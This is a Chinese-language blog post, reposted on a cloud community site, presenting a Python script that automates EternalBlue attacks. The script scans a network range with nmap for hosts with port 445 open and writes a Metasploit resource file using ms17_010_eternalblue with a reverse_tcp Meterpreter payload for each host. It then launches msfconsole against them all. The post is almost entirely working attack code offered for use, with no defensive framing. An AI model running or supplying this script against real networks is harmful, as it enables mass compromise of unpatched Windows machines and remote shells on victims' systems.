Python脚本与Metasploit交互进行自动永恒之蓝攻击

举报
谢公子 发表于 2021/11/19 01:17:35 2021/11/19
【摘要】 我们首先利用 findTarget() 函数找到目标网段或目标主机中开放了445端口的主机,然后利用 confickerExploit() 函数将攻击代码写入 configure.rc 配置文件中,最后调用 MSF 框架读取配置文件进行攻击! # -*- coding: ut...

我们首先利用 findTarget() 函数找到目标网段或目标主机中开放了445端口的主机,然后利用 confickerExploit() 函数将攻击代码写入 configure.rc 配置文件中,最后调用 MSF 框架读取配置文件进行攻击!


  
  1. # -*- coding: utf-8 -*-
  2. """
  3. Created on Sun Nov 12 09:11:33 2018
  4. @author: 小谢
  5. """
  6. import os
  7. import optparse
  8. import sys
  9. import nmap
  10. def findTarget(Hosts): #扫描网段范围内开放445端口的主机
  11. nmScan=nmap.PortScanner()
  12. nmScan.scan(Hosts,'445')
  13. targets=[]
  14. for t in nmScan.all_hosts():
  15. if nmScan[t].has_tcp(445): #如果445端口提供了协议
  16. state=nmScan[t]['tcp'][445]['state'] #查看445端口的状态
  17. if state=='open':
  18. print '[+]Found Target Host:'+t
  19. targets.append(t)
  20. return targets #返回开放445端口的主机列表
  21. def confickerExploit(configFile,target,lhost): #漏洞利用
  22. configFile.write('use exploit/windows/smb/ms17_010_eternalblue \n') #漏洞利用代码
  23. configFile.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp\n')
  24. configFile.write('set RHOST '+str(target)+'\n') #设定参数
  25. configFile.write('set LHOST '+lhost+'\n')
  26. configFile.write('exploit -j -z\n') #j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换
  27. def main():
  28. configFile=open('configure.rc','w') #以写入方式打开配置文件
  29. usage='[-]Usage %prog -H <RHOSTS> -l/-L <LHOST> '
  30. parser=optparse.OptionParser(usage)
  31. parser.add_option('-H',dest='target',type='string',help='target host') #目标主机
  32. parser.add_option('-l','-L',dest='lhost',type='string',help='listen address') #我们的主机
  33. (options,args)=parser.parse_args()
  34. target=options.target
  35. lhost=options.lhost
  36. if (target==None)|(lhost==None):
  37. print parser.usage
  38. exit(0)
  39. targets=findTarget(options.target) #寻找目标
  40. for target in targets: #逐个攻击
  41. confickerExploit(configFile,target,lhost)
  42. configFile.close()
  43. os.system('msfconsole -r configure.rc') #启动metasploit并读取配置文件
  44. if __name__=='__main__':
  45. main()

文章来源: xie1997.blog.csdn.net,作者:谢公子,版权归原作者所有,如需转载,请联系作者。

原文链接:xie1997.blog.csdn.net/article/details/83986928

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。